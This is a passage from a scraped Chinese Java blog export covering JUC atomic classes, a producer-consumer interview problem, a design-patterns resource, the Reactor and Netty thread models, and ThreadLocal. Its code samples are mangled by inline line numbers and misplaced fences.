问题。\nAtomicMarkableReference ：原子更新带有标记位的引用类型\n对象的属性修改类型\nAtomicIntegerFieldUpdater:原子更新整形字段的更新器\nAtomicLongFieldUpdater：原子更新长整形字段的更新器\nAtomicReferenceFieldUpdater ：原子更新引用类型里的字段的更新器\nJDK1.8新增\nDoubleAccumulator\nLongAccumulator\nDoubleAdder\nLongAdder\nJDK1.8新增的部分，是对AtomicLong等类的改进。比如LongAccumulator与LongAdder在高并发环境下比AtomicLong更高效。\n二 分类详细介绍 1 基本类型 基本类型中三个类提供的方法几乎相同，所以我们这里以 AtomicInteger 为例子来介绍。\n1class Test2 { 2 3 private AtomicInteger count = new AtomicInteger(); 4 public void increment() { 5 count.incrementAndGet(); 6 } 7 //使用AtomicInteger之后，不需要加锁，就可以实现线程安全。 8 public int getCount() { 9 return count.get(); 10 } 11} 12 13```java 14 15- 多线程环境使用原子类保证线程安全 16 17- AtomicInteger 类主要利用 CAS (compare and swap) + volatile 和 native 方法来保证原子操作，从而避免 synchronized 的高开销，执行效率大为提升。 18 19### 2 数组类型 20 21 数组类型三个类提供的方法几乎相同，所以我们这里以 AtomicIntegerArray 为例子来介绍。 22 23```cs 24import java.util.concurrent.atomic.AtomicIntegerArray; 25 26public class Demo 27{ 28 static AtomicIntegerArray atom = new AtomicIntegerArray(a); 29 public static void main(String[] agrs) 30 { 31 int[] a = {1, 2, 3, 4, 5}; 32 33 System.out.println(\u0026#34;原始数组：\u0026#34; + atom); 34 35 System.out.println(\u0026#34;调用addAndGet(1, 9)方法返回值：\u0026#34; + atom.addAndGet(1, 9)); 36 System.out.println(\u0026#34;调用后数组为：\u0026#34; + atom); 37 38 System.out.println(\u0026#34;调用getAndDecrement(2)方法返回值：\u0026#34; + atom.getAndDecrement(2)); 39 System.out.println(\u0026#34;调用后数组为：\u0026#34; + atom); 40 41 System.out.println(\u0026#34;调用incrementAndGet(3)方法返回值：\u0026#34; + atom.incrementAndGet(3)); 42 System.out.println(\u0026#34;调用后数组为：\u0026#34; + atom); 43 44 System.out.println(\u0026#34;调用compareAndSet(4, 5, 100)方法返回值：\u0026#34; + atom.compareAndSet(4, 5, 100)); 45 System.out.println(\u0026#34;调用后数组为：\u0026#34; + atom); 46 } 47} 48 49```java 50 51- 实现原理：简单来说还是使用sun.misc.Unsafe通过CAS操作来完成线程安全的数组操作 52 53- 多线程环境下需要对整形数组中的单个值执行原子更新时使用 AtomicIntegerArray。 54 55- 可以存放int数值的原子性数组，以整个数组对象为单位，里面的元素操作都是原子性的 56 57### 3 引用类型 58 59 **基本类型原子类只能更新一个变量，如果需要原子更新多个变量，需要使用引用类型原子类。** 60 61 引用类型三个类提供的方法几乎相同，所以我们这里以 AtomicReference 为例子来介绍。 62 63```cs 64import java.util.concurrent.atomic.AtomicReference; 65 66public class AtomicReferenceTest { 67 68 public static void main(String[] args) { 69 AtomicReference\u0026lt;Person\u0026gt; ar = new AtomicReference\u0026lt;Person\u0026gt;(); 70 Person person = new Person(\u0026#34;SnailClimb\u0026#34;, 22); 71 ar.set(person); 72 Person updatePerson = new Person(\u0026#34;Daisy\u0026#34;, 20); 73 ar.compareAndSet(person, updatePerson); 74 75 System.out.println(ar.get().getName()); 76 System.out.println(ar.get().getAge()); 77 } 78} 79 80class Person { 81 private String name; 82 private int age; 83 84 public Person(String name, int age) { 85 super(); 86 this.name = name; 87 this.age = age; 88 } 89 90 public String getName() { 91 return name; 92 } 93 94 public void setName(String name) { 95 this.name = name; 96 } 97 98 public int getAge() { 99 return age; 100 } 101 102 public void setAge(int age) { 103 this.age = age; 104 } 105 106} 上述代码首先创建了一个 Person 对象，然后把 Person 对象设置进 AtomicReference 对象中，然后调用 compareAndSet 方法，该方法就是通过 CAS 操作设置 ar。如果 ar 的值为 person 的话，则将其设置为 updatePerson。实现原理与 AtomicInteger 类中的 compareAndSet 方法相同。运行上面的代码后的输出结果如下：\n1Daisy 220 3 4```java 5 6- AtomicStampedReference通过一个pair来保存初始化引用和计数器，以后每次原子操作时，都需要比较引用和计数器是否都正确。 7 8- AtomicMarkableReference跟AtomicStampedReference差不多，AtomicStampedReference是使用pair的int stamp作为计数器使用，AtomicMarkableReference的pair使用的是boolean mark。 9 10\u0026gt; 举个通俗点的例子，你倒了一杯水放桌子上，干了点别的事，然后同事把你水喝了又给你重新倒了一杯水，你回来看水还在，拿起来就喝，如果你不管水中间被人喝过，只关心水还在，这就是ABA问题。如果你是一个讲卫生讲文明的小伙子，不但关心水在不在，还要在你离开的时候水被人动过没有，因为你是程序员，所以就想起了放了张纸在旁边，写上初始值0，别人喝水前麻烦先做个累加才能喝水。这就是AtomicStampedReference的解决方案。还是那个水的例子，AtomicStampedReference可能关心的是动过几次，AtomicMarkableReference关心的是有没有被人动过，方法都比较简单。 11 12### 4 对象的属性修改类型 13 14 如果需要原子更新某个类里的某个字段时，需要用到对象的属性修改类型原子类。 15 16 三个类提供的方法几乎相同，所以我们这里以 AtomicIntegerFieldUpdater为例子来介绍。 17 18要想原子地更新对象的属性需要两步： 19 20**第一步**，因为对象的属性修改类型原子类都是抽象类，所以每次使用都必须使用静态方法 newUpdater()创建一个更新器，并且需要设置想要更新的类和属性。 21 22**第二步**，更新的对象属性必须使用 public volatile 修饰符。 23 24```cs 25import java.util.concurrent.atomic.AtomicIntegerFieldUpdater; 26 27public class AtomicIntegerFieldUpdaterTest { 28 public static void main(String[] args) { 29 AtomicIntegerFieldUpdater\u0026lt;User\u0026gt; a = AtomicIntegerFieldUpdater.newUpdater(User.class, \u0026#34;age\u0026#34;); 30 31 User user = new User(\u0026#34;Java\u0026#34;, 22); 32 System.out.println(a.getAndIncrement(user));// 22 33 System.out.println(a.get(user));// 23 34 } 35} 36 37class User { 38 private String name; 39 public volatile int age; 40 41 public User(String name, int age) { 42 super(); 43 this.name = name; 44 this.age = age; 45 } 46 47 public String getName() { 48 return name; 49 } 50 51 public void setName(String name) { 52 this.name = name; 53 } 54 55 public int getAge() { 56 return age; 57 } 58 59 public void setAge(int age) { 60 this.age = age; 61 } 62 63} 64 65//输出结果 6622 6723 5 JDK1.8新增 DoubleAccumulator\nLongAccumulator\nDoubleAdder\nLongAdder\n以上这四个类分两组，Double和Long ，我们只讲Long的，Double的类似。\n我们先说下LongAdder,都说LongAdder是AtomicLong的更高效版本，来看看javaDoc是怎么说的：\n1 * \u0026lt;p\u0026gt;This class is usually preferable to {@link AtomicLong} when 2 * multiple threads update a common sum that is used for purposes such 3 * as collecting statistics, not for fine-grained synchronization 4 * control. Under low update contention, the two classes have similar 5 * characteristics. But under high contention, expected throughput of 6 * this class is significantly higher, at the expense of higher space 7 * consumption. 8 9```java 10 11\u0026gt; 当多个线程更新用于诸如收集统计信息而不是用于细粒度的同步控制之类的公共和时，此类通常比AtomicLong更可取。在低更新争用下，两个类具有相似的特征。但是在竞争激烈的情况下，此类的预期吞吐量会大大提高，但要消耗更多的空间。 12 13很明显LongAdder其适用于统计计数的场景，例如计算qps这种场景。在高并发场景下，qps这个值会被多个线程频繁更新的，所以LongAdder很适合。所以其更适合使用在**多线程统计计数的场景下**，在这个限定的场景下比AtomicLong要高效一些。其他低频场景下不一定能替换AtomicLong。 14 15**为什么高效？** 16 17LongAdder所使用的思想就是热点分离，这一点可以类比一下**ConcurrentHashMap**的设计思想。就是将value值分离成一个数组，当多线程访问时，通过hash算法映射到其中的一个数字进行计数。而最终的结果，就是这些数组的求和累加。这样一来，就减小了锁的粒度。如下图所示： 18 19![Image](002-35963ef5.png \u0026#34;image.png\u0026#34;) 20 21**LongAccumulator**是LongAdder的功能增强版。LongAdder的API只有对数值的加减，而LongAccumulator提供了自定义的函数操作。 22 23```cs 24 // accumulatorFunction：需要执行的二元函数（接收2个long作为形参，并返回1个long）；identity：初始值 25 public LongAccumulator(LongBinaryOperator accumulatorFunction, long identity) { 26 this.function = accumulatorFunction; 27 base = this.identity = identity; 28 } 29 30```java 31 32上面构造函数，accumulatorFunction：需要执行的二元函数（接收2个long作为形参，并返回1个long）；identity：初始值。下面看一个Demo： 33 34```java 35public class LongAccumulatorDemo { 36 37 // 找出最大值 38 public static void main(String[] args) throws InterruptedException { 39 LongAccumulator accumulator = new LongAccumulator(Long::max, Long.MIN_VALUE); 40 Thread[] ts = new Thread[1000]; 41 42 for (int i = 0; i \u0026lt; 1000; i++) { 43 ts[i] = new Thread(() -\u0026gt; { 44 Random random = new Random(); 45 long value = random.nextLong(); 46 accumulator.accumulate(value); // 比较value和上一次的比较值，然后存储较大者 47 }); 48 ts[i].start(); 49 } 50 for (int i = 0; i \u0026lt; 1000; i++) { 51 ts[i].join(); 52 } 53 System.out.println(accumulator.longValue()); 54 } 55} 从上面代码可以看出，accumulate(value)传入的值会与上一次的比较值对比，然后保留较大者，最后打印出最大值。\n参考 ：《Java并发编程的艺术》《Java高并发程序设计》\n关注公众号 获取更多精彩内容\n","date":"2020-04-08T16:00:00Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-04-08-juc-bao-zhong-de-atomic-yuan-zi-lei-zong-jie/cover.jpg","permalink":"/p/2020-04-08-juc-bao-zhong-de-atomic-yuan-zi-lei-zong-jie/","title":"JUC 包中的 Atomic 原子类总结"},{"content":"\n这道题由于是从网上看到的，具体出自阿里哪个部门不详。\n题目描述：\n使用“生产者-消费者模式”编写代码实现：线程A随机间隔（10~200ms）按顺序生成1到100的数字（共100个），放到某个队列中。\n线程B、C、D即时消费这些数据：\n线程B消费所有被3整除的数，\n线程C消费所有被5整除的数，\n其它的由线程D进行消费。\n线程BCD消费这些数据时在控制台中打印出来， 要求按顺序打印这些数据。限时40分钟，可以查API\n这里有一个网友的答案：\nhttps://www.jianshu.com/p/adc70b51ca06 我的答案：\n1package com.oho.alg; 2 3import java.util.PrimitiveIterator.OfLong; 4import java.util.Random; 5import java.util.concurrent.BlockingQueue; 6import java.util.concurrent.TimeUnit; 7import lombok.SneakyThrows; 8 9public class Producer implements Runnable { 10 11 private BlockingQueue\u0026lt;Integer\u0026gt; queue; 12 13 private OfLong longs = new Random().longs(10, 200).iterator(); 14 15 public Producer(BlockingQueue\u0026lt;Integer\u0026gt; queue) { 16 17 this.queue = queue; 18 19 } 20 21 @SneakyThrows 22 @Override 23 public void run() { 24 25 for (int i = 1; i \u0026lt;= 100; i++) { 26 27 queue.put(i); 28 System.out.println(\u0026#34;生产了：\u0026#34; + i); 29 30 try { 31 TimeUnit.MILLISECONDS.sleep(longs.nextLong()); 32 } catch (InterruptedException e) { 33 e.printStackTrace(); 34 } 35 36 } 37 38 } 39 40} 41 42package com.oho.alg; 43 44import java.util.concurrent.ArrayBlockingQueue; 45import java.util.concurrent.BlockingQueue; 46import java.util.concurrent.locks.Condition; 47import java.util.concurrent.locks.Lock; 48import java.util.concurrent.locks.ReentrantLock; 49 50public class Consumer { 51 52 private Lock lock = new ReentrantLock(); 53 54 private Condition cc3 = lock.newCondition(); 55 private Condition cc5 = lock.newCondition(); 56 private Condition ccn = lock.newCondition(); 57 58 private BlockingQueue\u0026lt;Integer\u0026gt; queue; 59 60 public Consumer(BlockingQueue\u0026lt;Integer\u0026gt; queue) { 61 62 this.queue = queue; 63 64 } 65 66 public void c3() { 67 68 try { 69 lock.lock(); 70 71 while (true) { 72 73 if (queue.peek() != null) { 74 75 while (queue.peek() % 3 != 0) { 76 cc3.await(); 77 78 } 79 System.out.println(\u0026#34;消费3的倍数: \u0026#34; + queue.poll()); 80 cc5.signal(); 81 ccn.signal(); 82 83 } 84 } 85 } catch (Exception e) { 86 e.printStackTrace(); 87 } finally { 88 lock.unlock(); 89 } 90 91 } 92 93 public void c5() { 94 95 try { 96 lock.lock(); 97 98 while (true) { 99 100 if (queue.peek() != null) { 101 102 while (queue.peek() % 5 != 0) { 103 cc5.await(); 104 } 105 System.out.println(\u0026#34;消费5的倍数: \u0026#34; + queue.poll()); 106 cc3.signal(); 107 ccn.signal(); 108 109 } 110 } 111 } catch (Exception e) { 112 e.printStackTrace(); 113 } finally { 114 lock.unlock(); 115 } 116 117 } 118 119 public void other() { 120 121 try { 122 lock.lock(); 123 124 while (true) { 125 126 if (queue.peek() != null) { 127 128 while (queue.peek() % 3 == 0 || queue.peek() % 5 == 0) { 129 ccn.await(); 130 } 131 132 System.out.println(\u0026#34;消费other倍数: \u0026#34; + queue.poll()); 133 cc3.signal(); 134 cc5.signal(); 135 136 } 137 } 138 } catch (Exception e) { 139 e.printStackTrace(); 140 } finally { 141 lock.unlock(); 142 } 143 144 } 145 146 public static void main(String[] args) throws InterruptedException { 147 148 ArrayBlockingQueue\u0026lt;Integer\u0026gt; queue = new ArrayBlockingQueue\u0026lt;\u0026gt;(100); 149 Consumer consumer = new Consumer(queue); 150 new Thread(new Producer(queue)).start(); 151 new Thread(() -\u0026gt; consumer.c3()).start(); 152 new Thread(() -\u0026gt; consumer.c5()).start(); 153 new Thread(() -\u0026gt; consumer.other()).start(); 154 155 } 156} 这题看起来挺简单的，但实际写的时候还是有一些点需要注意，尤其是对condition的使用。\nsynchronized与wait()和nitofy()/notifyAll()方法相结合可以实现等待/通知模型，ReentrantLock同样可以，但是需要借助Condition，且Condition有更好的灵活性，具体体现在：\n1、一个Lock里面可以创建多个Condition实例，实现多路通知\n2、notify()方法进行通知时，被通知的线程是Java虚拟机随机选择的，但是ReentrantLock结合Condition可以实现有选择性地通知，这是非常重要的\n关注公众号 获取更多精彩内容\n","date":"2020-04-07T16:00:00Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-04-07-a-li-mian-shi-ti-fen-xiang-er/cover.jpg","permalink":"/p/2020-04-07-a-li-mian-shi-ti-fen-xiang-er/","title":"阿里面试题分享(二)"},{"content":"\nhttps://refactoringguru.cn/design-patterns\n上面是网站地址，不说别的，光是图画的就深得我心。\n贴几个大家感受下：\n工厂方法模式是一种创建型设计模式， 其在父类中提供一个创建对象的接口， 允许子类决定实例化对象的类型。\n抽象工厂模式是一种创建型设计模式， 它能创建一系列相关的对象， 而无需指定其具体类。\n生成器模式是一种创建型设计模式， 使你能够分步骤创建复杂对象。 该模式允许你使用相同的创建代码生成不同类型和形式的对象。\n原型模式是一种创建型设计模式， 使你能够复制已有对象， 而又无需使代码依赖它们所属的类。\n单例模式是一种创建型设计模式， 让你能够保证一个类只有一个实例， 并提供一个访问该实例的全局节点。\n适配器模式是一种结构型设计模式， 它能使接口不兼容的对象能够相互合作。\n怎么样？还不错吧，有些模式光看图你就大概明白是怎么回事儿了。网站上也有它的电子书卖（注意，这不是广告，我也没拿钱啊）。想买书的也可以买本来看看，不过我觉得看网站上的大部分内容应该就够了。\n关注公众号 获取更多精彩内容\n","date":"2020-04-06T04:15:27Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-04-06-yi-ge-xue-xi-she-ji-mo-shi-de-hao-zi-yuan/cover.jpg","permalink":"/p/2020-04-06-yi-ge-xue-xi-she-ji-mo-shi-de-hao-zi-yuan/","title":"一个学习设计模式的好资源"},{"content":"\nJava 的I/O、NIO ,Java IO 模型，Unix 网络 IO 模型等相关概念的解析\n上面这篇幅文章我们讨论了IO相关的问题，文末留了个坑说要说下Netty的线程模型，今天来填坑。\n在高性能的I/O设计中，有两个著名的模型：Reactor模型和Proactor模型，其中Reactor模型用于同步I/O，而Proactor模型运用于异步I/O操作。实际上Netty线程模型就是Reactor模型的一个实现。\nReactor模型 The reactor design pattern is an event handling pattern for handling service requests delivered concurrently to a service handler by one or more inputs. The service handler then demultiplexes the incoming requests and dispatches them synchronously to the associated request handlers.\n以上来自wiki,我们可以看到以下重点。\n事件驱动（event handling）\n可以处理一个或多个输入源（one or more inputs）\n通过Service Handler同步的将输入事件（Event）采用多路复用分发给相应的Request Handler（多个）处理\n根据大神Doug Lea 在 《Scalable IO in Java 》中的介绍，Reacotr模型主要分为三个角色：\nReactor：把IO事件分配给对应的handler处理\nAcceptor：处理客户端连接事件\nHandler：处理非阻塞的任务\nReactor处理请求的流程：\n同步的等待多个事件源到达（采用select()实现）\n将事件多路分解以及分配相应的事件服务进行处理，这个分派采用server集中处理（dispatch）\n分解的事件以及对应的事件服务应用从分派服务中分离出去（handler）\n为什么使用Reactor？ 传统阻塞IO模型的不足\n每个连接都需要独立线程处理，当并发数大时，创建线程数多，占用资源\n采用阻塞IO模型，连接建立后，若当前线程没有数据可读，线程会阻塞在读操作上，造成资源浪费\n针对传统阻塞IO模型的两个问题，可以采用如下的方案\n基于池化思想，避免为每个连接创建线程，连接完成后将业务处理交给线程池处理\n基于IO复用模型，多个连接共用同一个阻塞对象，不用等待所有的连接。遍历到有新数据可以处理时，操作系统会通知程序，线程跳出阻塞状态，进行业务逻辑处理\nReactor线程模型分类 根据Reactor的数量和处理资源的线程数量的不同，分为三类：\n单Reactor单线程模型\n单Reactor多线程模型\n多Reactor多线程模型\n单Reactor单线程模型 消息处理流程：\nReactor对象通过select监控连接事件，收到事件后通过dispatch进行转发。\n如果是连接建立的事件，则由acceptor接受连接，并创建handler处理后续事件。\n如果不是建立连接事件，则Reactor会分发调用Handler来响应。\nhandler会完成read-\u0026gt;业务处理-\u0026gt;send的完整业务流程。\n该线程模型的不足\n仅用一个线程处理请求，对于多核资源机器来说是有点浪费的\n当处理读写任务的线程负载过高后，处理速度下降，事件会堆积，严重的会超时，可能导致客户端重新发送请求，性能越来越差\n单线程也会有可靠性的问题\n针对上面的种种不足，就有了下面的线程模型\n单Reactor多线程模型 消息处理流程：\nReactor对象通过Select监控客户端请求事件，收到事件后通过dispatch进行分发。\n如果是建立连接请求事件，则由acceptor通过accept处理连接请求，然后创建一个Handler对象处理连接完成后续的各种事件。\n如果不是建立连接事件，则Reactor会分发调用连接对应的Handler来响应。\nHandler只负责响应事件，不做具体业务处理，通过Read读取数据后，会分发给后面的Worker线程池进行业务处理。\nWorker线程池会分配独立的线程完成真正的业务处理，如何将响应结果发给Handler进行处理。\nHandler收到响应结果后通过send将响应结果返回给Client。\n相对于第一种模型来说，在处理业务逻辑，也就是获取到IO的读写事件之后，交由线程池来处理，handler收到响应后通过send将响应结果返回给客户端。这样可以降低Reactor的性能开销，从而更专注的做事件分发工作了，提升整个应用的吞吐。\n但是这个模型存在的问题：\n多线程数据共享和访问比较复杂。如果子线程完成业务处理后，把结果传递给主线程Reactor进行发送，就会涉及共享数据的互斥和保护机制。\nReactor承担所有事件的监听和响应，只在主线程中运行，可能会存在性能问题。例如并发百万客户端连接，或者服务端需要对客户端握手进行安全认证，但是认证本身非常损耗性能。\n为了解决性能问题，产生了第三种主从Reactor多线程模型。\n主从Reactor多线程模型 比起第二种模型，它是将Reactor分成两部分：\nmainReactor负责监听server socket，用来处理网络IO连接建立操作，将建立的socketChannel指定注册给subReactor。\nsubReactor主要做和建立起来的socket做数据交互和事件业务处理操作。通常，subReactor个数上可与CPU个数等同。\nNginx、Memcached和Netty都是采用这种实现。\n消息处理流程：\n从主线程池中随机选择一个Reactor线程作为acceptor线程，用于绑定监听端口，接收客户端连接\nacceptor线程接收客户端连接请求之后创建新的SocketChannel，将其注册到主线程池的其它Reactor线程上，由其负责接入认证、IP黑白名单过滤、握手等操作\n步骤2完成之后，业务层的链路正式建立，将SocketChannel从主线程池的Reactor线程的多路复用器上摘除，重新注册到Sub线程池的线程上，并创建一个Handler用于处理各种连接事件\n当有新的事件发生时，SubReactor会调用连接对应的Handler进行响应\nHandler通过Read读取数据后，会分发给后面的Worker线程池进行业务处理\nWorker线程池会分配独立的线程完成真正的业务处理，如何将响应结果发给Handler进行处理\nHandler收到响应结果后通过Send将响应结果返回给Client\nReactor三种模式形象比喻\n餐厅一般有接待员和服务员，接待员负责在门口接待顾客，服务员负责全程服务顾客\nReactor的三种线程模型可以用接待员和服务员类比\n单Reactor单线程模型：接待员和服务员是同一个人，一直为顾客服务。客流量较少适合\n单Reactor多线程模型：一个接待员，多个服务员。客流量大，一个人忙不过来，由专门的接待员在门口接待顾客，然后安排好桌子后，由一个服务员一直服务，一般每个服务员负责一片中的几张桌子\n多Reactor多线程模型：多个接待员，多个服务员。这种就是客流量太大了，一个接待员忙不过来了\nNetty线程模型 上文说Netty就是采用Reactor模型实现的。下面是Netty使用中很常见的一段代码\n1 2public class Server { 3 public static void main(String[] args) throws Exception { 4 EventLoopGroup bossGroup = new NioEventLoopGroup(1); 5 EventLoopGroup workerGroup = new NioEventLoopGroup(); 6 try { 7 ServerBootstrap b = new ServerBootstrap(); 8 b.group(bossGroup, workerGroup) 9 .channel(NioServerSocketChannel.class) 10 .childOption(ChannelOption.TCP_NODELAY, true) 11 .childAttr(AttributeKey.newInstance(\u0026#34;childAttr\u0026#34;), \u0026#34;childAttrValue\u0026#34;) 12 .handler(new ServerHandler()) 13 .childHandler(new ChannelInitializer\u0026lt;SocketChannel\u0026gt;() { 14 @Override 15 public void initChannel(SocketChannel ch) { 16 } 17 }); 18 ChannelFuture f = b.bind(8888).sync(); 19 f.channel().closeFuture().sync(); 20 } finally { 21 bossGroup.shutdownGracefully(); 22 workerGroup.shutdownGracefully(); 23 } 24 } 25} boss线程池作用：\n接收客户端的连接，初始化Channel参数。\n将链路状态变更时间通知给ChannelPipeline。\nworker线程池作用：\n异步读取通信对端的数据报，发送读事件到ChannelPipeline。\n异步发送消息到通信对端，调用ChannelPipeline的消息发送接口。\n执行系统调用Task。\n执行定时任务Task。\n通过配置boss和worker线程池的线程个数以及是否共享线程池等方式，Netty的线程模型可以在以上三种Reactor模型之间进行切换。\nnetty通过Reactor模型基于多路复用器接收并处理用户请求，内部实现了两个线程池，boss线程池和work线程池，其中boss线程池的线程负责处理请求的accept事件，当接收到accept事件的请求时，把对应的socket封装到一个NioSocketChannel中，并交给work线程池，其中work线程池负责请求的read和write事件\ntomcat的线程模型 Tomcat支持四种接收请求的处理方式：BIO、NIO、APR和AIO\nNIO 同步非阻塞，比传统BIO能更好的支持大并发，tomcat 8.0 后默认采用该模型。 使用方法(配置server.xml)： 改为 protocol=\u0026ldquo;org.apache.coyote.http11.Http11NioProtocol\u0026rdquo;\nBIO 阻塞式IO，tomcat7之前默认，采用传统的java IO进行操作，该模型下每个请求都会创建一个线程，适用于并发量小的场景。 使用方法(配置server.xml)：protocol =\u0026quot; org.apache.coyote.http11.Http11Protocol\u0026quot;\nAPR tomcat 以JNI形式调用http服务器的核心动态链接库来处理文件读取或网络传输操作，需要编译安装APR库。 使用方法(配置server.xml)：protocol =\u0026ldquo;org.apache.coyote.http11.Http11AprProtocol\u0026rdquo;\nAIO 异步非阻塞 (NIO2)，tomcat8.0后支持。多用于连接数目多且连接比较长（重操作）的架构，比如相册服务器，充分调用OS参与并发操作，编程比较复杂，JDK7开始支持。 使用方法(配置server.xml)：protocol =\u0026ldquo;org.apache.coyote.http11.Http11Nio2Protocol\u0026rdquo;\n参考：\nhttps://zhuanlan.zhihu.com/p/69341619\nhttps://cloud.tencent.com/developer/article/1488120\n关注公众号 获取更多精彩内容\n","date":"2020-04-03T10:14:57Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-04-03-tian-keng-reactor-mo-xing-he-netty-xian-cheng-mo-xing/cover.jpg","permalink":"/p/2020-04-03-tian-keng-reactor-mo-xing-he-netty-xian-cheng-mo-xing/","title":"填坑Reactor模型和Netty线程模型"},{"content":"什么是ThreadLocal ThreadLocal，顾名思义，它不是一个线程，而是线程的一个本地化对象。\n当工作于多线程中的对象使用 ThreadLocal 维护变量时，ThreadLocal 为每个使用该变量的线程分配一个独立的变量副本。\n所以每一个线程都可以独立地改变自己的副本，而不会影响其他线程所对应的副本。从线程的角度看，这个变量就像是线程的本地变量，这也是类名中 “Local” 所要表达的意思。\nThreadLocal 提供了线程的局部变量副本，每个线程都可以通过set()和get()来对这个局部变量进行操作，但不会和其他线程的局部变量进行冲突，实现了线程的数据隔离～。\n其实就是你创建了一个 Threadlocal 变量，每个访问 Threadlocal 变量的线程都有一个本地副本。\n往ThreadLocal 中填充的变量属于当前线程，该变量对其他线程而言是隔离的。\nThreadLocal数据结构 一个 ThreadLocal 只能存储一个 Object 对象，如果需要存储多个 Object 对象那么就需要多个 ThreadLocal\nThreadLocalMap 的 Entry 对 ThreadLocal 的引用为弱引用，避免了 ThreadLocal 对象无法被回收的问题\nThreadLocalMap 的 set 方法通过调用 replaceStaleEntry 方法回收键为 null 的 Entry 对象的值（即为具体实例）以及 Entry 对象本身从而防止内存泄漏\n复习一下java的对象引用\n• 强引用：new 出来的一般对象，只要引用在就不会被回收\n• 软引用: 将要发生内存溢出之前回收\n• 弱引用: 生存到下一次垃圾收集发生之前\n• 虚引用：目的是对象被收集器回收时收到一个系统通知\nthreadLocal 本身并不存储值，它只是作为一个 key 来让线程从 ThreadLocalMap 获取 value。\nThreadLocalMap 是使用 ThreadLocal 的弱引用作为 Key 的，弱引用的对象在 GC 时会被回收。\nThreadlocal 的 key 是弱引用，那么在 threadlocal.get() 的时候,发生 GC 之后，key 是否是 null ？ 做 threadlocal.get() 操作，证明其实还是有强引用存在的。所以 key 并不为 null 。\nThreadLocal 为什么会造成内存泄漏？ ThreadLocalMap 使用 ThreadLocal 的弱引用作为key，如果一个 ThreadLocal 没有外部强引用来引用它，那么系统 GC 的时候，这个 ThreadLocal 势必会被回收，这样一来，ThreadLocalMap 中就会出现key为 null 的 Entry，就没有办法访问这些key 为null 的 Entry 的 value ，如果当前线程再迟迟不结束的话，这些 key 为 null 的 Entry 的 value 就会一直存在一条强引用链：\nThread Ref -\u0026gt; Thread -\u0026gt; ThreaLocalMap -\u0026gt; Entry -\u0026gt;value\n永远无法回收，造成内存泄漏。\n简单来说，就是因为 ThreadLocalMap 的 key 是弱引用，当 TheadLocal 外部没有强引用时，就被回收，此时会出现 ThreadLocalMap\u0026lt;null,value\u0026gt; 的情况，而线程没有结束的情况下，导致这个 null 对应的 value 一直无法回收，导致泄漏。\nThreadLocal 内存泄漏的根源是：由于 ThreadLocalMap 的生命周期跟 Thread一样长，如果没有手动删除对应 key 就会导致内存泄漏，而****不是因为弱引用。\nThreadLocal 类型变量为何声明为 static ？\nThreadLocal 类的目的是为每个线程单独维护一个变量的值，避免线程间对同一变量的竞争访问，适用于一个变量在每个线程中需要有自己独立的值的场合。\n如果把 threadLocalID 声明为非静态，则在含有 ThreadLocal 变量的的每个实例中都会产生一个新对象，这是毫无意义的，只是增加了内存消耗。\nThreadLocal的最佳实践 ThreadLocal 并不解决多线程 共享 变量的问题\n如果要同时满足变量在线程间的隔离与方法间的共享，ThreadLocal 再合适不过\n保存线程上下文信息，在任意需要的地方可以获取\n线程安全的，避免某些情况需要考虑线程安全必须同步带来的性能损失\n应该在我们不使用的时候，主动调用 remove 方法进行清理。\n1try { 2 // 其它业务逻辑 3} finally { 4 threadLocal对象.remove(); 5} 6 7```java 8 9## 10 11## InheritableThreadLocal 12 13ThreadLocal 固然很好，但是子线程并不能取到父线程的 ThreadLocal 的变量： 14 15```cs 16 private static ThreadLocal\u0026lt;Integer\u0026gt; integerThreadLocal = new ThreadLocal\u0026lt;\u0026gt;(); 17 18 public static void main(String[] args) throws InterruptedException { 19 integerThreadLocal.set(1001); // father 20 21 new Thread(() -\u0026gt; System.out.println(Thread.currentThread().getName() + \u0026#34;:\u0026#34; 22 + integerThreadLocal.get())).start(); 23 } 24//output: 25Thread-0:null 26 27```java 28 29使用 ThreadLocal 不能继承父线程的 ThreadLocal 的内容，而使用 InheritableThreadLocal 时可以做到的，这就可以很好的在父子线程之间传递数据了。inheritableThreadLocal 继承了 ThreadLocal。 30 31```cs 32 private static InheritableThreadLocal\u0026lt;Integer\u0026gt; inheritableThreadLocal = 33 new InheritableThreadLocal\u0026lt;\u0026gt;(); 34 public static void main(String[] args) throws InterruptedException { 35 36 inheritableThreadLocal.set(1002); // father 37 new Thread(() -\u0026gt; System.out.println(Thread.currentThread().getName() + \u0026#34;:\u0026#34; 38 + inheritableThreadLocal.get())).start(); 39 } 40//output: 41Thread-0:1002 其他 ThreadLocal 实现 Netty 的 FastThreadLocal ：\n对 JDK 中 ThreadLocal 进行优化，由于 ThreadLocal 底层存储数据是一个 ThreadLocalMap 结构，是一个数组结构，通过 threadLocalHashCode 查找在数组中的元素 Entry , 当 hash 冲突时，继续向前检测查找, 所以当 Hash 冲突时，检索的效率就会降低。而 FastThreadLocal 则正是处理了这个问题，使其时间复杂度一直为O(1)。 TransmittableThreadLocal：\nTransmittableThreadLocal 是Alibaba开源的、用于解决 **“****在使用线程池等会缓存线程的组件情况下传递 ThreadLocal** **”** 问题的 InheritableThreadLocal 扩展。 JDK 的 InheritableThreadLocal 类可以完成父线程到子线程的值传递。 但对于使用线程池等会池化复用线程的组件的情况，线程由线程池创建好，并且线程是池化起来反复使用的；这时父子线程关系的ThreadLocal 值传递已经没有意义，应用需要的实际上是把 任务提交给线程池时的 ThreadLocal 值传递到 任务执行时。 原理是使用 TtlRunnable/Ttlcallable包装了 Runnable/Callable 类。 注意 spring 框架内部很多地方使用 ThreadLocal 来辅助实现，如事务管理。\n但是Spring 根本就没有对 bean 的多线程安全问题做出任何保证与措施。\n对于每个bean 的线程安全问题，根本原因是每个 bean 自身的设计。\n不要在 bean 中声明任何有状态的实例变量或类变量，如果必须如此，那么就使用 ThreadLocal把变量变为线程私有的，如果 bean 的实例变量或类变量需要在多个线程之间共享，那么就只能使用 synchronized、lock、CAS 等这些实现线程同步的方法了。\n关注公众号 获取更多精彩内容\n","date":"2020-04-01T10:42:24Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-04-01-threadlocal-zong-jie/cover.jpg","permalink":"/p/2020-04-01-threadlocal-zong-jie/","title":"ThreadLocal 总结"},{"content":"\n一 ConcurrentHashMap 与 HashMap的区别？ 